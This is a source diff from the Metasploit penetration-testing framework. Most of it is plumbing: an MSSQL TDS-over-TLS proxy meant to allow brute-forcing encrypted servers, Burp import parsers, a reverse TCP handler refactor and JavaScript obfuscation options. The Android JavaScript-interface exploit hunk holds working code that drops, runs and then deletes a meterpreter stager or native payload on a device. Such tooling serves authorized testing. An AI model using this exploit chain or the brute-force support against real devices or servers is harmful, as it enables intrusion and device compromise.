||||
|
||||
while resp and resp[0,1] != "\xff" and resp.length > 5
|
||||
token = resp.slice!(0,5)
|
||||
token = token.unpack("Cnn")
|
||||
idx -= 5
|
||||
if token[0] == 0x01
|
||||
idx += token[1]
|
||||
break
|
||||
end
|
||||
end
|
||||
if idx > 0
|
||||
encryption_mode = resp[idx,1].unpack("C")[0]
|
||||
else
|
||||
raise RuntimeError, "Unable to parse encryption "\
|
||||
"req during pre-login"
|
||||
end
|
||||
end
|
||||
encryption_mode
|
||||
end
|
||||
|
@ -687,6 +758,10 @@ module Metasploit
|
|||
resp
|
||||
end
|
||||
|
||||
def mssql_ssl_send_recv(req,tdsproxy,timeout=15,check_status=true)
|
||||
tdsproxy.send_recv(req)
|
||||
end
|
||||
|
||||
#
|
||||
# Encrypt a password according to the TDS protocol (encode)
|
||||
#
|
||||
|
|
|
@ -0,0 +1,126 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'openssl'
|
||||
|
||||
#
|
||||
# TDSSSLProxy:
|
||||
#
|
||||
# SQL Server uses the TDS protocol to transmit data between clients and
|
||||
# servers. Of course this sits on top of TCP.
|
||||
#
|
||||
# By default, the TDS payload is not encrypted. However, if "force
|
||||
# encryption" is set under the SQL Server protocol properties, it will
|
||||
# use SSL/TLS to encrypt the TDS data. Oddly, the entire TCP stream is
|
||||
# not encrypted (as is say for HTTPS), but instead a TDS header is
|
||||
# put on the front of the TLS packet. As a result, the full TLS/SSL
|
||||
# setup is done within a series of TDS payloads.
|
||||
#
|
||||
# This "proxy" basically creates a fake SSL endpoint (s2) from which it
|
||||
# can add/remove the TDS header as required. This is implemented as a
|
||||
# socket pair (think, a bidirectional pipe), where the other end is s1:
|
||||
#
|
||||
# sslsock <-> s1 <-> s2 <-> tdssock <-> target SQL Server.
|
||||
#
|
||||
# (tdssock is the reference to the "sock" from the scanner module)
|
||||
#
|
||||
# TO DO:
|
||||
#
|
||||
# This enables brute force of a SQL Server which requires encryption.
|
||||
# However, future updates will permit any read/write using
|
||||
# mssql_send_recv() to use crypto if required and transparently to
|
||||
# other MSF developers.
|
||||
#
|
||||
# Cheers, JH
|
||||
|
||||
class TDSSSLProxy
|
||||
|
||||
TYPE_TDS7_LOGIN = 16
|
||||
TYPE_PRE_LOGIN_MESSAGE = 18
|
||||
STATUS_END_OF_MESSAGE = 0x01
|
||||
|
||||
def initialize(sock)
|
||||
@tdssock = sock
|
||||
@s1, @s2 = Rex::Socket.tcp_socket_pair
|
||||
end
|
||||
|
||||
def cleanup
|
||||
@running = false
|
||||
@t1.join
|
||||
end
|
||||
|
||||
def setup_ssl
|
||||
@running = true
|
||||
@t1 = Thread.start { ssl_setup_thread }
|
||||
ssl_context = OpenSSL::SSL::SSLContext.new(:TLSv1)
|
||||
@ssl_socket = OpenSSL::SSL::SSLSocket.new(@s1, ssl_context)
|
||||
@ssl_socket.connect
|
||||
end
|
||||
|
||||
def send_recv(pkt)
|
||||
@ssl_socket.write(pkt)
|
||||
done = false
|
||||
resp = ""
|
||||
|
||||
while (not done)
|
||||
head = @ssl_socket.read(8)
|
||||
if !(head and head.length == 8)
|
||||
return false
|
||||
end
|
||||
|
||||
# Is this the last buffer?
|
||||
if (head[1, 1] == "\x01" or not check_status)
|
||||
done = true
|
||||
end
|
||||
|
||||
# Grab this block's length
|
||||
rlen = head[2, 2].unpack('n')[0] - 8
|
||||
|
||||
while (rlen > 0)
|
||||
buff = @ssl_socket.read(rlen)
|
||||
return if not buff
|
||||
resp << buff
|
||||
rlen -= buff.length
|
||||
end
|
||||
|
||||
end
|
||||
resp
|
||||
end
|
||||
|
||||
def ssl_setup_thread
|
||||
while @running do
|
||||
res = select([@tdssock, @s2], nil, nil, 0.1)
|
||||
if res
|
||||
res[0].each do |r|
|
||||
# response from SQL Server for client
|
||||
if r == @tdssock
|
||||
resp = @tdssock.recv(4096)
|
||||
if @ssl_socket.state[0, 5] == "SSLOK"
|
||||
@s2.send(resp, 0)
|
||||
else
|
||||
@s2.send(resp[8..-1], 0)
|
||||
end
|
||||
end
|
||||
|
||||
# request from client for SQL Server
|
||||
if r == @s2
|
||||
resp = @s2.recv(4096)
|
||||
# SSL negotiation completed - just send it on
|
||||
if @ssl_socket.state[0, 5] == "SSLOK"
|
||||
@tdssock.send(resp, 0)
|
||||
# Still doing SSL
|
||||
else
|
||||
tds_pkt_len = 8 + resp.length
|
||||
pkt_hdr = ''
|
||||
pkt_hdr << [TYPE_PRE_LOGIN_MESSAGE, STATUS_END_OF_MESSAGE, tds_pkt_len, 0x0000, 0x00, 0x00].pack('CCnnCC')
|
||||
pkt = pkt_hdr << resp
|
||||
@tdssock.send(pkt, 0)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@s1.close
|
||||
@s2.close
|
||||
end
|
||||
end
|
||||
|
|
@ -49,7 +49,7 @@ module Metasploit
|
|||
#
|
||||
# @return [void]
|
||||
def self.optionally_active_record_railtie
|
||||
if ::File.exist?(Rails.application.config.paths['config/database'].first)
|
||||
if ::Rails.application.config.paths['config/database'].any?
|
||||
optionally(
|
||||
'active_record/railtie',
|
||||
'activerecord not in the bundle, so database support will be disabled.'
|
||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "4.11.7"
|
||||
VERSION = "4.11.10"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -25,7 +25,8 @@ module Auxiliary::HttpCrawler
|
|||
OptInt.new('MAX_THREADS', [ true, 'The maximum number of concurrent requests', 4]),
|
||||
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication']),
|
||||
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication']),
|
||||
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentication', 'WORKSTATION'])
|
||||
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentication', 'WORKSTATION']),
|
||||
OptBool.new('SSL', [ false, 'Negotiate SSL/TLS for outgoing connections', false])
|
||||
|
||||
], self.class
|
||||
)
|
||||
|
@ -43,7 +44,6 @@ module Auxiliary::HttpCrawler
|
|||
OptString.new('BasicAuthPass', [false, 'The HTTP password to specify for basic authentication']),
|
||||
OptString.new('HTTPAdditionalHeaders', [false, "A list of additional headers to send (separated by \\x01)"]),
|
||||
OptString.new('HTTPCookie', [false, "A HTTP cookie header to send with each request"]),
|
||||
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]),
|
||||
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL23', 'SSL3', 'TLS1']]),
|
||||
], self.class
|
||||
)
|
||||
|
|
|
@ -16,7 +16,8 @@ module Msf::DBManager::Import
|
|||
autoload :Acunetix, 'msf/core/db_manager/import/acunetix'
|
||||
autoload :Amap, 'msf/core/db_manager/import/amap'
|
||||
autoload :Appscan, 'msf/core/db_manager/import/appscan'
|
||||
autoload :Burp, 'msf/core/db_manager/import/burp'
|
||||
autoload :BurpIssue, 'msf/core/db_manager/import/burp_issue'
|
||||
autoload :BurpSession, 'msf/core/db_manager/import/burp_session'
|
||||
autoload :CI, 'msf/core/db_manager/import/ci'
|
||||
autoload :Foundstone, 'msf/core/db_manager/import/foundstone'
|
||||
autoload :FusionVM, 'msf/core/db_manager/import/fusion_vm'
|
||||
|
@ -41,7 +42,8 @@ module Msf::DBManager::Import
|
|||
include Msf::DBManager::Import::Acunetix
|
||||
include Msf::DBManager::Import::Amap
|
||||
include Msf::DBManager::Import::Appscan
|
||||
include Msf::DBManager::Import::Burp
|
||||
include Msf::DBManager::Import::BurpIssue
|
||||
include Msf::DBManager::Import::BurpSession
|
||||
include Msf::DBManager::Import::CI
|
||||
include Msf::DBManager::Import::Foundstone
|
||||
include Msf::DBManager::Import::FusionVM
|
||||
|
@ -267,6 +269,9 @@ module Msf::DBManager::Import
|
|||
elsif (data[0,1024] =~ /<!ATTLIST\s+items\s+burpVersion/)
|
||||
@import_filedata[:type] = "Burp Session XML"
|
||||
return :burp_session_xml
|
||||
elsif (data[0,1024] =~ /<!ATTLIST\s+issues\s+burpVersion/)
|
||||
@import_filedata[:type] = "Burp Issue XML"
|
||||
return :burp_issue_xml
|
||||
elsif (firstline.index("<?xml"))
|
||||
# it's xml, check for root tags we can handle
|
||||
line_count = 0
|
||||
|
|
|
@ -0,0 +1,20 @@
|
|||
require 'rex/parser/burp_issue_nokogiri'
|
||||
|
||||
module Msf::DBManager::Import::BurpIssue
|
||||
def import_burp_issue_xml(args={}, &block)
|
||||
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
|
||||
wspace = args[:wspace] || workspace
|
||||
parser = "Nokogiri v#{::Nokogiri::VERSION}"
|
||||
noko_args = args.dup
|
||||
noko_args[:blacklist] = bl
|
||||
noko_args[:wspace] = wspace
|
||||
if block
|
||||
yield(:parser, parser)
|
||||
doc = Rex::Parser::BurpIssueDocument.new(args,framework.db) {|type, data| yield type,data }
|
||||
else
|
||||
doc = Rex::Parser::BurpIssueDocument.new(args,self)
|
||||
end
|
||||
parser = ::Nokogiri::XML::SAX::Parser.new(doc)
|
||||
parser.parse(args[:data])
|
||||
end
|
||||
end
|
|
@ -1,6 +1,6 @@
|
|||
require 'rex/parser/burp_session_nokogiri'
|
||||
|
||||
module Msf::DBManager::Import::Burp
|
||||
module Msf::DBManager::Import::BurpSession
|
||||
def import_burp_session_noko_stream(args={},&block)
|
||||
if block
|
||||
doc = Rex::Parser::BurpSessionDocument.new(args,framework.db) {|type, data| yield type,data }
|
|
@ -43,6 +43,7 @@ module Msf::DBManager::Service
|
|||
# opts may contain
|
||||
# +:name+:: the application layer protocol (e.g. ssh, mssql, smb)
|
||||
# +:sname+:: an alias for the above
|
||||
# +:workspace+:: the workspace for the service
|
||||
#
|
||||
def report_service(opts)
|
||||
return if not active
|
||||
|
|
|
@ -19,7 +19,6 @@ module Exploit::Android
|
|||
}
|
||||
|
||||
def add_javascript_interface_exploit_js(arch)
|
||||
stagename = Rex::Text.rand_text_alpha(5)
|
||||
%Q|
|
||||
function exec(runtime, cmdArr) {
|
||||
var ch = 0;
|
||||
|
@ -47,35 +46,7 @@ module Exploit::Android
|
|||
.getMethod('getRuntime', null)
|
||||
.invoke(null, null);
|
||||
|
||||
// libraryData contains the bytes for a native shared object built via NDK
|
||||
// which will load the "stage", which in this case is our android meterpreter stager.
|
||||
var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
|
||||
|
||||
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
|
||||
// another stager which loads android meterpreter from the msf handler.
|
||||
var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}";
|
||||
|
||||
// get the process name, which will give us our data path
|
||||
// $PPID does not seem to work on android 4.0, so we concat pids manually
|
||||
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
|
||||
|
||||
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
|
||||
var stagePath = path + '/#{stagename}.apk';
|
||||
|
||||
// build the library and chmod it
|
||||
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();
|
||||
runtime.exec(['chmod', '700', libraryPath]).waitFor();
|
||||
|
||||
// build the stage, chmod it, and load it
|
||||
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();
|
||||
runtime.exec(['chmod', '700', stagePath]).waitFor();
|
||||
|
||||
// load the library
|
||||
runtime.load(libraryPath);
|
||||
|
||||
// delete dropped files
|
||||
runtime.exec(['rm', stagePath]).waitFor();
|
||||
runtime.exec(['rm', libraryPath]).waitFor();
|
||||
#{payload.arch[0] == ARCH_DALVIK ? stager_js(arch) : linux_exe_js(arch)}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
@ -84,6 +55,62 @@ module Exploit::Android
|
|||
|
|
||||
end
|
||||
|
||||
def stager_js(arch)
|
||||
stagename = Rex::Text.rand_text_alpha(5)
|
||||
%Q|
|
||||
// libraryData contains the bytes for a native shared object built via NDK
|
||||
// which will load the "stage", which in this case is our android meterpreter stager.
|
||||
var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
|
||||
|
||||
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
|
||||
// another stager which loads android meterpreter from the msf handler.
|
||||
var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}";
|
||||
|
||||
// get the process name, which will give us our data path
|
||||
// $PPID does not seem to work on android 4.0, so we concat pids manually
|
||||
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
|
||||
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
|
||||
var stagePath = path + '/#{stagename}.apk';
|
||||
|
||||
// build the library and chmod it
|
||||
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();
|
||||
runtime.exec(['chmod', '700', libraryPath]).waitFor();
|
||||
|
||||
// build the stage, chmod it, and load it
|
||||
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();
|
||||
runtime.exec(['chmod', '700', stagePath]).waitFor();
|
||||
|
||||
// load the library
|
||||
runtime.load(libraryPath);
|
||||
|
||||
// delete dropped files
|
||||
runtime.exec(['rm', stagePath]).waitFor();
|
||||
runtime.exec(['rm', libraryPath]).waitFor();
|
||||
|
|
||||
end
|
||||
|
||||
def linux_exe_js(arch)
|
||||
platform_list = Msf::Module::PlatformList.new(Msf::Module::Platform::Linux)
|
||||
|
||||
%Q|
|
||||
var payloadData = "#{Rex::Text.to_octal(payload.encoded_exe(arch: arch, platform: platform_list), '\\\\0')}";
|
||||
|
||||
// get the process name, which will give us our data path
|
||||
// $PPID does not seem to work on android 4.0, so we concat pids manually
|
||||
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
|
||||
var payloadPath = path + '/#{Rex::Text.rand_text_alpha(8)}';
|
||||
|
||||
// build the library and chmod it
|
||||
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+payloadData+'" > '+payloadPath]).waitFor();
|
||||
runtime.exec(['chmod', '700', payloadPath]).waitFor();
|
||||
|
||||
// run the payload
|
||||
runtime.exec(['/system/bin/sh', '-c', payloadPath + ' &']).waitFor();
|
||||
|
||||
// delete dropped files
|
||||
runtime.exec(['rm', payloadPath]).waitFor();
|
||||
|
|
||||
end
|
||||
|
||||
# The NDK stager is used to launch a hidden APK
|
||||
def ndkstager(stagename, arch)
|
||||
|
|
|
@ -37,6 +37,7 @@ module Exploit::Remote::HttpClient
|
|||
Opt::RHOST,
|
||||
Opt::RPORT(80),
|
||||
OptString.new('VHOST', [ false, "HTTP server virtual host" ]),
|
||||
OptBool.new('SSL', [ false, 'Negotiate SSL/TLS for outgoing connections', false]),
|
||||
Opt::Proxies
|
||||
], self.class
|
||||
)
|
||||
|
@ -49,7 +50,6 @@ module Exploit::Remote::HttpClient
|
|||
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']),
|
||||
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']),
|
||||
OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]),
|
||||
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]),
|
||||
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL3', 'TLS1']]),
|
||||
OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]),
|
||||
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']),
|
||||
|
|
|
@ -8,7 +8,8 @@ module Msf
|
|||
def initialize(info={})
|
||||
super
|
||||
register_advanced_options([
|
||||
OptInt.new('JsObfuscate', [false, "Number of times to obfuscate JavaScript", 0])
|
||||
OptInt.new('JsObfuscate', [false, "Number of times to obfuscate JavaScript", 0]),
|
||||
OptString.new('JsIdentifiers', [false, "Identifiers to preserve for JsObfu"])
|
||||
], Exploit::JSObfu)
|
||||
end
|
||||
|
||||
|
@ -18,14 +19,20 @@ module Msf
|
|||
# @param js [String] JavaScript code
|
||||
# @param opts [Hash] obfuscation options
|
||||
# * :iterations [FixNum] Number of times to obfuscate
|
||||
# * :preserved_identifiers [Array] An array of identifiers to preserve during obfuscation
|
||||
# @return [::Rex::Exploitation::JSObfu]
|
||||
#
|
||||
def js_obfuscate(js, opts={})
|
||||
iterations = (opts[:iterations] || datastore['JsObfuscate']).to_i
|
||||
identifiers = opts[:preserved_identifiers].blank? ? (datastore['JsIdentifiers'] || '').split(',') : opts[:preserved_identifiers]
|
||||
obfu = ::Rex::Exploitation::JSObfu.new(js)
|
||||
obfu.obfuscate(:iterations=>iterations)
|
||||
obfu_opts = {}
|
||||
obfu_opts.merge!(iterations: iterations)
|
||||
obfu_opts.merge!(preserved_identifiers: identifiers)
|
||||
|
||||
obfu.obfuscate(obfu_opts)
|
||||
obfu
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -69,7 +69,7 @@ module Exploit::Remote::MSSQL
|
|||
Opt::RPORT(1433),
|
||||
OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']),
|
||||
OptString.new('PASSWORD', [ false, 'The password for the specified username', '']),
|
||||
|
||||
OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]),
|
||||
OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentification (requires DOMAIN option set)', false]),
|
||||
], Msf::Exploit::Remote::MSSQL)
|
||||
register_advanced_options(
|
||||
|
|
|
@ -63,7 +63,7 @@ module Exploit::Remote::Tcp
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]),
|
||||
OptBool.new('SSL', [ false, 'Negotiate SSL/TLS for outgoing connections', false]),
|
||||
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL/TLS to be used (TLS and SSL23 are auto-negotiate)', 'TLS1', ['SSL2', 'SSL3', 'SSL23', 'TLS', 'TLS1', 'TLS1.1', 'TLS1.2']]),
|
||||
OptEnum.new('SSLVerifyMode', [ false, 'SSL verification method', 'PEER', %W{CLIENT_ONCE FAIL_IF_NO_PEER_CERT NONE PEER}]),
|
||||
OptString.new('SSLCipher', [ false, 'String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"']),
|
||||
|
|
|
@ -162,10 +162,6 @@ module Exploit::Remote::TcpServer
|
|||
self.service.stop
|
||||
end
|
||||
|
||||
if service.kind_of?(Rex::Proto::Http::Server)
|
||||
service.stop
|
||||
end
|
||||
|
||||
self.service = nil
|
||||
rescue ::Exception
|
||||
end
|
||||
|
|
|
@ -4,7 +4,6 @@ require 'thread'
|
|||
|
||||
module Msf
|
||||
module Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This module implements the reverse TCP handler. This means
|
||||
|
@ -16,7 +15,6 @@ module Handler
|
|||
#
|
||||
###
|
||||
module ReverseTcp
|
||||
|
||||
include Msf::Handler
|
||||
include Msf::Handler::Reverse
|
||||
include Msf::Handler::Reverse::Comm
|
||||
|
@ -26,7 +24,7 @@ module ReverseTcp
|
|||
# 'reverse_tcp'.
|
||||
#
|
||||
def self.handler_type
|
||||
return "reverse_tcp"
|
||||
"reverse_tcp"
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -55,7 +53,6 @@ module ReverseTcp
|
|||
self.conn_threads = []
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Closes the listener socket if one was created.
|
||||
#
|
||||
|
@ -64,9 +61,13 @@ module ReverseTcp
|
|||
|
||||
# Kill any remaining handle_connection threads that might
|
||||
# be hanging around
|
||||
conn_threads.each { |thr|
|
||||
thr.kill rescue nil
|
||||
}
|
||||
conn_threads.each do |thr|
|
||||
begin
|
||||
thr.kill
|
||||
rescue
|
||||
nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# A string suitable for displaying to the user
|
||||
|
@ -84,65 +85,68 @@ module ReverseTcp
|
|||
|
||||
local_port = bind_port
|
||||
|
||||
self.listener_thread = framework.threads.spawn("ReverseTcpHandlerListener-#{local_port}", false, queue) { |lqueue|
|
||||
handler_name = "ReverseTcpHandlerListener-#{local_port}"
|
||||
self.listener_thread = framework.threads.spawn(handler_name, false, queue) { |lqueue|
|
||||
loop do
|
||||
# Accept a client connection
|
||||
begin
|
||||
client = self.listener_sock.accept
|
||||
if ! client
|
||||
wlog("ReverseTcpHandlerListener-#{local_port}: No client received in call to accept, exiting...")
|
||||
break
|
||||
client = listener_sock.accept
|
||||
if client
|
||||
self.pending_connections += 1
|
||||
lqueue.push(client)
|
||||
end
|
||||
|
||||
self.pending_connections += 1
|
||||
lqueue.push(client)
|
||||
rescue ::Exception
|
||||
wlog("ReverseTcpHandlerListener-#{local_port}: Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}")
|
||||
break
|
||||
rescue Errno::ENOTCONN
|
||||
nil
|
||||
rescue StandardError => e
|
||||
wlog [
|
||||
"#{handler_name}: Exception raised during listener accept: #{e.class}",
|
||||
"#{$ERROR_INFO}",
|
||||
"#{$ERROR_POSITION.join("\n")}"
|
||||
].join("\n")
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
self.handler_thread = framework.threads.spawn("ReverseTcpHandlerWorker-#{local_port}", false, queue) { |cqueue|
|
||||
worker_name = "ReverseTcpHandlerWorker-#{local_port}"
|
||||
self.handler_thread = framework.threads.spawn(worker_name, false, queue) { |cqueue|
|
||||
loop do
|
||||
begin
|
||||
client = cqueue.pop
|
||||
|
||||
if ! client
|
||||
elog("ReverseTcpHandlerWorker-#{local_port}: Queue returned an empty result, exiting...")
|
||||
break
|
||||
unless client
|
||||
elog("#{worker_name}: Queue returned an empty result, exiting...")
|
||||
end
|
||||
|
||||
# Timeout and datastore options need to be passed through to the client
|
||||
opts = {
|
||||
:datastore => datastore,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i
|
||||
datastore: datastore,
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
comm_timeout: datastore['SessionCommunicationTimeout'].to_i,
|
||||
retry_total: datastore['SessionRetryTotal'].to_i,
|
||||
retry_wait: datastore['SessionRetryWait'].to_i
|
||||
}
|
||||
|
||||
if datastore['ReverseListenerThreaded']
|
||||
self.conn_threads << framework.threads.spawn("ReverseTcpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { |client_copy|
|
||||
thread_name = "#{worker_name}-#{client.peerhost}"
|
||||
conn_threads << framework.threads.spawn(thread_name, false, client) do |client_copy|
|
||||
handle_connection(wrap_aes_socket(client_copy), opts)
|
||||
}
|
||||
end
|
||||
else
|
||||
handle_connection(wrap_aes_socket(client), opts)
|
||||
end
|
||||
rescue ::Exception
|
||||
elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}")
|
||||
rescue StandardError
|
||||
elog("Exception raised from handle_connection: #{$ERROR_INFO.class}: #{$ERROR_INFO}\n\n#{$ERROR_POSITION.join("\n")}")
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
end
|
||||
|
||||
def wrap_aes_socket(sock)
|
||||
if datastore["PAYLOAD"] !~ /java\// or (datastore["AESPassword"] || "") == ""
|
||||
if datastore["PAYLOAD"] !~ %r{java/} || (datastore["AESPassword"] || "") == ""
|
||||
return sock
|
||||
end
|
||||
|
||||
socks = Rex::Socket::tcp_socket_pair()
|
||||
socks = Rex::Socket.tcp_socket_pair
|
||||
socks[0].extend(Rex::Socket::Tcp)
|
||||
socks[1].extend(Rex::Socket::Tcp)
|
||||
|
||||
|
@ -150,36 +154,38 @@ module ReverseTcp
|
|||
m.reset
|
||||
key = m.digest(datastore["AESPassword"] || "")
|
||||
|
||||
Rex::ThreadFactory.spawn('Session-AESEncrypt', false) {
|
||||
Rex::ThreadFactory.spawn('Session-AESEncrypt', false) do
|
||||
c1 = OpenSSL::Cipher.new('aes-128-cfb8')
|
||||
c1.encrypt
|
||||
c1.key=key
|
||||
c1.key = key
|
||||
sock.put([0].pack('N'))
|
||||
sock.put(c1.iv=c1.random_iv)
|
||||
sock.put((c1.iv = c1.random_iv))
|
||||
buf1 = socks[0].read(4096)
|
||||
while buf1 and buf1 != ""
|
||||
while buf1 && buf1 != ""
|
||||
sock.put(c1.update(buf1))
|
||||
buf1 = socks[0].read(4096)
|
||||
end
|
||||
sock.close()
|
||||
}
|
||||
Rex::ThreadFactory.spawn('Session-AESDecrypt', false) {
|
||||
sock.close
|
||||
end
|
||||
|
||||
Rex::ThreadFactory.spawn('Session-AESDecrypt', false) do
|
||||
c2 = OpenSSL::Cipher.new('aes-128-cfb8')
|
||||
c2.decrypt
|
||||
c2.key=key
|
||||
iv=""
|
||||
while iv.length < 16
|
||||
iv << sock.read(16-iv.length)
|
||||
end
|
||||
c2.key = key
|
||||
|
||||
iv = ""
|
||||
iv << sock.read(16 - iv.length) while iv.length < 16
|
||||
|
||||
c2.iv = iv
|
||||
buf2 = sock.read(4096)
|
||||
while buf2 and buf2 != ""
|
||||
while buf2 && buf2 != ""
|
||||
socks[0].put(c2.update(buf2))
|
||||
buf2 = sock.read(4096)
|
||||
end
|
||||
socks[0].close()
|
||||
}
|
||||
return socks[1]
|
||||
socks[0].close
|
||||
end
|
||||
|
||||
socks[1]
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -187,35 +193,27 @@ module ReverseTcp
|
|||
#
|
||||
def stop_handler
|
||||
# Terminate the listener thread
|
||||
if (self.listener_thread and self.listener_thread.alive? == true)
|
||||
self.listener_thread.kill
|
||||
self.listener_thread = nil
|
||||
end
|
||||
listener_thread.kill if listener_thread && listener_thread.alive? == true
|
||||
|
||||
# Terminate the handler thread
|
||||
if (self.handler_thread and self.handler_thread.alive? == true)
|
||||
self.handler_thread.kill
|
||||
self.handler_thread = nil
|
||||
end
|
||||
handler_thread.kill if handler_thread && handler_thread.alive? == true
|
||||
|
||||
if (self.listener_sock)
|
||||
if listener_sock
|
||||
begin
|
||||
self.listener_sock.close
|
||||
listener_sock.close
|
||||
rescue IOError
|
||||
# Ignore if it's listening on a dead session
|
||||
dlog("IOError closing listener sock; listening on dead session?", LEV_1)
|
||||
end
|
||||
self.listener_sock = nil
|
||||
end
|
||||
end
|
||||
|
||||
protected
|
||||
protected
|
||||
|
||||
attr_accessor :listener_sock # :nodoc:
|
||||
attr_accessor :listener_thread # :nodoc:
|
||||
attr_accessor :handler_thread # :nodoc:
|
||||
attr_accessor :conn_threads # :nodoc:
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/socket'
|
||||
require 'thread'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
|
|
|
@ -3081,7 +3081,7 @@ class Core
|
|||
option_values_target_addrs().each do |addr|
|
||||
res << addr
|
||||
end
|
||||
when 'LHOST', 'SRVHOST'
|
||||
when 'LHOST', 'SRVHOST', 'REVERSELISTENERBINDADDRESS'
|
||||
rh = self.active_module.datastore['RHOST'] || framework.datastore['RHOST']
|
||||
if rh and not rh.empty?
|
||||
res << Rex::Socket.source_address(rh)
|
||||
|
|
|
@ -745,7 +745,7 @@ class Db
|
|||
# mode = :add
|
||||
#when "-d"
|
||||
# mode = :delete
|
||||
when "-h"
|
||||
when "-h","--help"
|
||||
cmd_vulns_help
|
||||
return
|
||||
when "-p","--port"
|
||||
|
@ -1647,6 +1647,7 @@ class Db
|
|||
print_line " Amap Log -m"
|
||||
print_line " Appscan"
|
||||
print_line " Burp Session XML"
|
||||
print_line " Burp Issue XML"
|
||||
print_line " CI"
|
||||
print_line " Foundstone"
|
||||
print_line " FusionVM XML"
|
||||
|
|
|
@ -25,15 +25,23 @@ module Net; module SSH; module Transport
|
|||
ALGORITHMS = {
|
||||
:host_key => %w(ssh-rsa ssh-dss),
|
||||
:kex => %w(diffie-hellman-group-exchange-sha1
|
||||
diffie-hellman-group1-sha1),
|
||||
diffie-hellman-group1-sha1
|
||||
diffie-hellman-group-exchange-sha256),
|
||||
:encryption => %w(aes128-cbc 3des-cbc blowfish-cbc cast128-cbc
|
||||
aes192-cbc aes256-cbc rijndael-cbc@lysator.liu.se
|
||||
idea-cbc none arcfour128 arcfour256),
|
||||
idea-cbc none arcfour128 arcfour256
|
||||
aes128-ctr aes192-ctr aes256-ctr),
|
||||
:hmac => %w(hmac-sha1 hmac-md5 hmac-sha1-96 hmac-md5-96 none),
|
||||
:compression => %w(none zlib@openssh.com zlib),
|
||||
:language => %w()
|
||||
}
|
||||
|
||||
if defined?(OpenSSL::PKey::EC)
|
||||
ALGORITHMS[:kex] += %w(ecdh-sha2-nistp256
|
||||
ecdh-sha2-nistp384
|
||||
ecdh-sha2-nistp521)
|
||||
end
|
||||
|
||||
# The underlying transport layer session that supports this object
|
||||
attr_reader :session
|
||||
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'openssl'
|
||||
